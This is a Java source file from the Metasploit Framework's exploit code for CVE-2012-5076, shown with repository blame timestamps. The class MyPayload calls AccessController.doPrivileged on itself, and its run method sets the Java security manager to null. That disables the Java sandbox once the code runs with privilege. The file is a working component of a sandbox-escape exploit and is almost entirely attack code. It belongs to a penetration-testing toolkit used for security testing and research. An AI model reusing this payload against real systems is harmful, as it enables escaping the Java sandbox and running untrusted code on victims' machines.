metasploit-framework/external/source/exploits/cve-2012-5076/MyPayload.java

34 lines
566 B
Java
Raw Normal View History

2012-11-11 16:05:51 +00:00
import java.security.*;
public class MyPayload
implements PrivilegedExceptionAction
{
public MyPayload()
{
try
{
AccessController.doPrivileged(this);
}
catch(PrivilegedActionException e)
{
//e.printStackTrace();
}
}
public Object run()
throws Exception
{
System.setSecurityManager(null);
return null;
}
public static void r()
throws Exception
{
2012-11-11 19:11:33 +00:00
//System.out.println("hello!");
2012-11-11 16:05:51 +00:00
}
}